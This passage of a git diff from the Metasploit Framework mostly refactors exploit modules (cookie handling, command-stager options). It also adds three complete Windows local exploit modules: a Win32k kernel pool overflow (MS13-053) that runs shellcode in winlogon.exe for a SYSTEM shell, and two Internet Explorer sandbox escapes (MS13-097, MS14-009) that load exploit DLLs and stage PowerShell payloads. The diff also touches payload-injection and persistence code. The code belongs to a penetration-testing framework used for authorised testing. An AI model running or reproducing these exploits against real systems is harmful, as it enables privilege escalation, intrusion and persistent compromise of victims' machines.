'.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") @@ -74,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', }, 5) - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) - sessionid = res.headers['Set-Cookie'].split(';')[0] + if res.get_cookies.match(/PHPSESSID=(.*);(.*)/i) + sessionid = res.get_cookies data = '?type=Job&jlist=0%26' + Rex::Text::uri_encode(cmd) diff --git a/modules/exploits/windows/http/sambar6_search_results.rb b/modules/exploits/windows/http/sambar6_search_results.rb index bd4cf1a1f4..f04f6110b1 100644 --- a/modules/exploits/windows/http/sambar6_search_results.rb +++ b/modules/exploits/windows/http/sambar6_search_results.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'hdm', - 'Andrew Griffiths <andrewg [at] felinemenace.org>', + 'Andrew Griffiths <andrewg[at]felinemenace.org>', 'patrick', # msf3 port ], 'Arch' => [ ARCH_X86 ], diff --git a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb index 21ff043ae7..0a98a50b74 100644 --- a/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb +++ b/modules/exploits/windows/http/sap_configservlet_exec_noauth.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit Rank = GreatRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'Privileged' => false )) diff --git a/modules/exploits/windows/http/shttpd_post.rb b/modules/exploits/windows/http/shttpd_post.rb index 98af060d72..6e67e66cb2 100644 --- a/modules/exploits/windows/http/shttpd_post.rb +++ b/modules/exploits/windows/http/shttpd_post.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote handling of POST requests. Based on an original exploit by skOd but using a different method found by hdm. }, - 'Author' => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'], + 'Author' => [ 'LMH <lmh[at]info-pull.com>', 'hdm', 'skOd'], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb index d583cd0285..53660c9e7e 100644 --- a/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb +++ b/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb @@ -187,8 +187,8 @@ class Metasploit3 < Msf::Exploit::Remote # Pick up the cookie, example: # JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB - if res and res.headers['Set-Cookie'] =~ /JSESSIONID=(\w+);/ - cookie = "JSESSIONID=#{$1}" + if res and res.get_cookies =~ /JSESSIONID=(\w+);/ + cookie = res.get_cookies else print_error("Unable to get a session ID") return diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index 730b89f9a9..0f6fa1e789 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -68,10 +68,13 @@ class Metasploit3 < Msf::Exploit::Remote # Sending the request res = send_request_cgi({ - 'uri' => normalize_uri(datastore['DIR'], '/Login.jsp?') + crash, - 'method' => 'GET', - 'headers' => { - 'Accept' => '*/*', + 'uri' => normalize_uri(datastore['DIR'], 'Login.jsp'), + 'method' => 'GET', + 'headers' => { + 'Accept' => '*/*', + }, + 'vars_get' => { + crash => nil } }, 5) diff --git a/modules/exploits/windows/http/zenworks_uploadservlet.rb b/modules/exploits/windows/http/zenworks_uploadservlet.rb index 9d675fec6a..728544b5bc 100644 --- a/modules/exploits/windows/http/zenworks_uploadservlet.rb +++ b/modules/exploits/windows/http/zenworks_uploadservlet.rb @@ -66,16 +66,17 @@ class Metasploit3 < Msf::Exploit::Remote war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s - res = send_request_cgi( - { - 'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war", - 'method' => 'POST', - 'data' => war_data, - 'headers' => - { - 'Content-Type' => 'application/octet-stream', - } - }) + res = send_request_cgi({ + 'uri' => '/zenworks/UploadServlet', + 'method' => 'POST', + 'data' => war_data, + 'headers' => { + 'Content-Type' => 'application/octet-stream', + }, + 'vars_get' => { + 'filename' => "../../webapps/#{app_base}.war" + } + }) print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb index e613bfaf7d..3872890e0e 100644 --- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb +++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote # NOTE: This cannot be an HttpClient module since the response from the server # is not a valid HttpResponse include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ] ], + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2001' )) @@ -191,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote end # Use the CMD stager to get a payload running - execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) + execute_cmdstager({:temp => '.', :linemax => 1400, :cgifname => exe_fname}) # Save these file names for later deletion @exe_cmd_copy = exe_fname diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 7b517fcc5b..7b5b251016 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager def initialize super( @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote # w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'tftp', 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 17 1998' ) diff --git a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb index 86a9f65f29..94e5021aa3 100644 --- a/modules/exploits/windows/imap/mercur_imap_select_overflow.rb +++ b/modules/exploits/windows/imap/mercur_imap_select_overflow.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote user-supplied data prior to copying it to a fixed size memory buffer. Credit to Tim Taylor for discover the vulnerability. }, - 'Author' => [ 'Jacopo Cervini <acaro [at] jervus.it>' ], + 'Author' => [ 'Jacopo Cervini <acaro[at]jervus.it>' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 6ae987f891..8d286bbfc3 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -24,6 +24,8 @@ class Metasploit3 < Msf::Exploit::Local technique to drop only the DLL payload binary instead of three seperate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). + If specifying EXE::Custom your DLL should call ExitProcess() after starting + your payload in a seperate process. }, 'License' => MSF_LICENSE, 'Author' => [ diff --git a/modules/exploits/windows/local/ms13_053_schlamperei.rb b/modules/exploits/windows/local/ms13_053_schlamperei.rb new file mode 100644 index 0000000000..daab80e39a --- /dev/null +++ b/modules/exploits/windows/local/ms13_053_schlamperei.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)', + 'Description' => %q{ + This module leverages a kernel pool overflow in Win32k which allows local privilege escalation. + The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process). + This allows any unprivileged process to freely migrate to winlogon.exe, achieving + privilege escalation. This exploit was used in pwn2own 2013 by MWR to break out of chrome's sandbox. + NOTE: when a meterpreter session started by this exploit exits, winlogin.exe is likely to crash. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nils', #Original Exploit + 'Jon', #Original Exploit + 'Donato Capitella <donato.capitella[at]mwrinfosecurity.com>', # Metasploit Conversion + 'Ben Campbell <ben.campbell[at]mwrinfosecurity.com>' # Help and Encouragement ;) + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + [ 'Windows 7 SP0/SP1', { } ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2013-1300' ], + [ 'MSB', 'MS13-053' ], + [ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ] + ], + 'DisclosureDate' => 'Dec 01 2013', + 'DefaultTarget' => 0 + })) + end + + def check + os = sysinfo["OS"] + unless (os =~ /windows/i) + return Exploit::CheckCode::Unknown + end + + file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + major, minor, build, revision, branch = file_version(file_path) + vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + case build + when 7600 + return Exploit::CheckCode::Vulnerable + when 7601 + if branch == 18 + return Exploit::CheckCode::Vulnerable if revision < 18176 + else + return Exploit::CheckCode::Vulnerable if revision < 22348 + end + end + return Exploit::CheckCode::Unknown + end + + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + print_status("Launching notepad to host the exploit...") + notepad_process_pid = cmd_exec_get_pid("notepad.exe") + begin + process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + print_status("Operation failed. Hosting exploit in the current process...") + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll") + library_path = ::File.expand_path(library_path) + + print_status("Injecting exploit into #{process.pid}...") + exploit_mem, offset = inject_dll_into_process(process, library_path) + + thread = process.thread.create(exploit_mem + offset) + client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000) + + client.sys.process.each_process do |p| + if p['name'] == "winlogon.exe" + winlogon_pid = p['pid'] + print_status("Found winlogon.exe with PID #{winlogon_pid}") + + if execute_shellcode(payload.encoded, nil, winlogon_pid) + print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell") + else + print_error("Failed to start payload thread") + end + + break + end + end + end + +end + diff --git a/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb new file mode 100644 index 0000000000..1cf3a6204c --- /dev/null +++ b/modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpServer + include Msf::Post::Windows::Priv + + def initialize(info={}) + super( update_info( info, + 'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape', + 'Description' => %q{ + This module exploits a vulnerability in Internet Explorer Sandbox which allows to + escape the Enhanced Protected Mode and execute code with Medium Integrity. The + vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll + component, which can be abused to force medium integrity IE to user influenced keys. + By using registry symlinks it's possible force IE to add a policy entry in the registry + and finally bypass Enhanced Protected Mode. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Forshaw', # Vulnerability Discovery and original exploit code + 'juan vazquez' # metasploit module + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => + [ + [ 'IE 8 - 11', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Dec 10 2013", + 'References' => + [ + ['CVE', '2013-5045'], + ['MSB', 'MS13-097'], + ['BID', '64115'], + ['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] + ] + )) + + register_options( + [ + OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]) + ]) + end + + def exploit + print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? + + mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') + if mod_handle['return'] == 0 + fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") + end + + unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NotVulnerable, "Not running at Low Integrity") + end + + begin + Timeout.timeout(datastore['DELAY']) { super } + rescue Timeout::Error + end + + session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil) + session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil) + end + + def primer + cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip + session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd) + + html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html" + session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri) + + temp = get_env('TEMP') + + print_status("Loading Exploit Library...") + + session.core.load_library( + 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"), + 'TargetFilePath' => temp + "\\CVE-2013-5045.dll", + 'UploadLibrary' => true, + 'Extension' => false, + 'SaveToDisk' => false + ) + end + + def on_request_uri(cli, request) + if request.uri =~ /\.html$/ + print_status("Sending window close html...") + close_html = <<-eos +<html> +<body> +<script> +window.open('', '_self', ''); +window.close(); +</script> +</body> +</html> + eos + send_response(cli, close_html, { 'Content-Type' => 'text/html' }) + else + send_not_found(cli) + end + end + +end + diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb new file mode 100644 index 0000000000..89b2bf9e32 --- /dev/null +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -0,0 +1,173 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' + +class Metasploit3 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::EXE + include Msf::Post::Windows::Priv + include Msf::Post::Windows::FileInfo + include Msf::Post::File + + NET_VERSIONS = { + '4.5' => { + 'dfsvc' => '4.0.30319.17929.17', + 'mscorlib' => '4.0.30319.18063.18' + }, + '4.5.1' => { + 'dfsvc' => '4.0.30319.18408.18', + 'mscorlib' => '4.0.30319.18444.18' + } + } + + def initialize(info={}) + super( update_info( info, + 'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape', + 'Description' => %q{ + This module abuses a process creation policy in Internet Explorer's sandbox, specifically + in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the + Enhanced Protected Mode, and execute code with Medium Integrity. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Forshaw', # Vulnerability Discovery and original exploit code + 'juan vazquez' # metasploit module + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + [ 'IE 8 - 11', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'WfsDelay' => 30 + }, + 'DisclosureDate'=> "Feb 11 2014", + 'References' => + [ + ['CVE', '2014-0257'], + ['MSB', 'MS14-009'], + ['BID', '65417'], + ['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] + ] + )) + end + + def check + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + return Exploit::CheckCode::Unknown + end + + net_version = get_net_version + + if net_version.empty? + return Exploit::CheckCode::Unknown + end + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + return Exploit::CheckCode::Detected + end + + mscorlib_version = get_mscorlib_version + + if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"]) + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Vulnerable + end + + def get_net_version + net_version = "" + + dfsvc_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + dfsvc_version = dfsvc_version.join(".") + + NET_VERSIONS.each do |k,v| + if v["dfsvc"] == dfsvc_version + net_version = k + end + end + + net_version + end + + def get_mscorlib_version + mscorlib_version = file_version("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + mscorlib_version.join(".") + end + + def exploit + print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? + + mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') + if mod_handle['return'] == 0 + fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") + end + + unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NotVulnerable, "Not running at Low Integrity") + end + + print_status("Searching .NET Deployment Service (dfsvc.exe)...") + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe") + fail_with(Failure::NotVulnerable, ".NET Deployment Service (dfsvc.exe) not found") + end + + net_version = get_net_version + + if net_version.empty? + fail_with(Failure::NotVulnerable, "This module only targets .NET Deployment Service from .NET 4.5 and .NET 4.5.1") + end + + print_good(".NET Deployment Service from .NET #{net_version} found.") + + print_status("Checking if .NET is patched...") + + unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.dll") + fail_with(Failure::NotVulnerable, ".NET Installation can not be verified (mscorlib.dll not found)") + end + + mscorlib_version = get_mscorlib_version + + if Gem::Version.new(mscorlib_version) >= Gem::Version.new(NET_VERSIONS[net_version]["mscorlib"]) + fail_with(Failure::NotVulnerable, ".NET Installation not vulnerable") + end + + print_good(".NET looks vulnerable, exploiting...") + + cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip + session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd) + + temp = get_env('TEMP') + + print_status("Loading Exploit Library...") + + session.core.load_library( + 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"), + 'TargetFilePath' => temp + "\\CVE-2014-0257.dll", + 'UploadLibrary' => true, + 'Extension' => false, + 'SaveToDisk' => false + ) + end + + def cleanup + session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil) + super + end + +end + diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 0b7a26f357..76506a500e 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -10,6 +10,8 @@ require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Post::Windows::Process + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Memory Payload Injection', @@ -52,13 +54,7 @@ class Metasploit3 < Msf::Exploit::Local return end - if @payload_arch.first =~ /64/ and client.platform =~ /x86/ - print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.") - print_error("Migrate to an x64 process and try again.") - return false - else - inject_into_pid(pid) - end + inject_into_pid(pid) end # Figures out which PID to inject to @@ -83,8 +79,6 @@ class Metasploit3 < Msf::Exploit::Local return false end - pids = [] - procs.each do |p| found_pid = p['pid'] return true if found_pid == pid @@ -144,27 +138,8 @@ class Metasploit3 < Msf::Exploit::Local begin print_status("Preparing '#{@payload_name}' for PID #{pid}") - raw = payload.generate - - print_status("Opening process #{pid.to_s}") - host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) - if not host_process - print_error("Unable to open #{pid.to_s}") - return - end - - print_status("Allocating memory in procees #{pid}") - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - - # Ensure memory is set for execution - host_process.memory.protect(mem) - - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_good("Successfully injected payload in to process: #{pid}") - + raw = payload.encoded + execute_shellcode(raw, nil, pid) rescue Rex::Post::Meterpreter::RequestError => e print_error("Unable to inject payload:") print_line(e.to_s) diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index 9ce47a82fc..92d355c3d1 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Local OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]), OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']), + OptString.new('PATH',[false, 'Path to write payload']), ], self.class) end @@ -130,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Local # Writes script to target host def write_script_to_target(vbs,name) - tempdir = session.sys.config.getenv('TEMP') + tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP') if name == nil tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" else @@ -139,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Local begin write_file(tempvbs, vbs) print_good("Persistent Script written to #{tempvbs}") - @clean_up_rc << "rm #{tempvbs}\n" + @clean_up_rc << "rm '#{tempvbs}'\n" rescue print_error("Could not write the payload on the target hosts.") # return nil since we could not write the file on the target host. diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 07df848e19..334ba89633 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Local 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>', 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' ], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 7d62ff1bee..2e33ec7f33 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Tcp def initialize(info = {}) @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ]) ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def execute_command(cmd, opts = {}) @@ -159,7 +159,7 @@ Processor-Speed=#{processor_speed} # CmdStagerVBS was tested here as well, however delivery took roughly # 30 minutes and required sending almost 350 notification messages. # size constraint requirement for SQLi is: linemax => 393 - execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) + execute_cmdstager({:delay => 1.5, :temp => '%TEMP%\\', :flavor => :tftp}) end def on_new_session(client) diff --git a/modules/exploits/windows/misc/eureka_mail_err.rb b/modules/exploits/windows/misc/eureka_mail_err.rb index 84d95f81b5..71bb61e51d 100644 --- a/modules/exploits/windows/misc/eureka_mail_err.rb +++ b/modules/exploits/windows/misc/eureka_mail_err.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote end def on_client_connect(client) - return if ((p = regenerate_payload(client)) == nil) + return unless regenerate_payload(client) # the offset to eip depends on the local ip address string length... already = "Your POP3 server had a problem.\n" diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index 3c8a3deed1..118d832d64 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -92,11 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect opcode = data.unpack("N*")[0] - version = data.unpack("N*")[1] if opcode == 3 # Accept - if [ 0xffff800b, 0xffff800c ].include?(version) - return Exploit::CheckCode::Vulnerable - end return Exploit::CheckCode::Detected end diff --git a/modules/exploits/windows/misc/fb_svc_attach.rb b/modules/exploits/windows/misc/fb_svc_attach.rb index b9a8b0044a..71daee3976 100644 --- a/modules/exploits/windows/misc/fb_svc_attach.rb +++ b/modules/exploits/windows/misc/fb_svc_attach.rb @@ -70,12 +70,6 @@ class Metasploit3 < Msf::Exploit::Remote connect - # Attach database - op_attach = 19 - - # Create database - op_create = 20 - # Service attach op_service_attach = 82 diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb index 0ae9fb1217..bed2a38e19 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'Platform' => 'win', 'Targets' => @@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(5555), OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe']) - ], - self.class) + ], self.class) + deregister_options('CMDSTAGER::FLAVOR') end def check @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote if target.name =~ /VBScript CMDStager/ # 7500 just in case, to be sure the command fits after # environment variables expansion - execute_cmdstager({:linemax => 7500}) + execute_cmdstager({:flavor => :vbs, :linemax => 7500}) elsif target.name =~ /Powershell/ # Environment variables are not being expanded before, neither in CreateProcess command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 8f560dc3ed..39a8ca5233 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -203,4 +203,4 @@ user-agent: BBC 11.00.044; 14 disconnect end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/misc/ib_svc_attach.rb b/modules/exploits/windows/misc/ib_svc_attach.rb index 06b5546915..822aa33146 100644 --- a/modules/exploits/windows/misc/ib_svc_attach.rb +++ b/modules/exploits/windows/misc/ib_svc_attach.rb @@ -115,12 +115,6 @@ class Metasploit3 < Msf::Exploit::Remote connect - # Attach database - op_attach = 19 - - # Create database - op_create = 20 - # Service attach op_service_attach = 82 diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb index 7b6e5330cf..7584f318c6 100644 --- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb +++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb @@ -85,8 +85,8 @@ class Metasploit3 < Msf::Exploit::Remote end # If there is no subdirectory in the request, we need to redirect. - if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) - if (request.uri == '/') + if 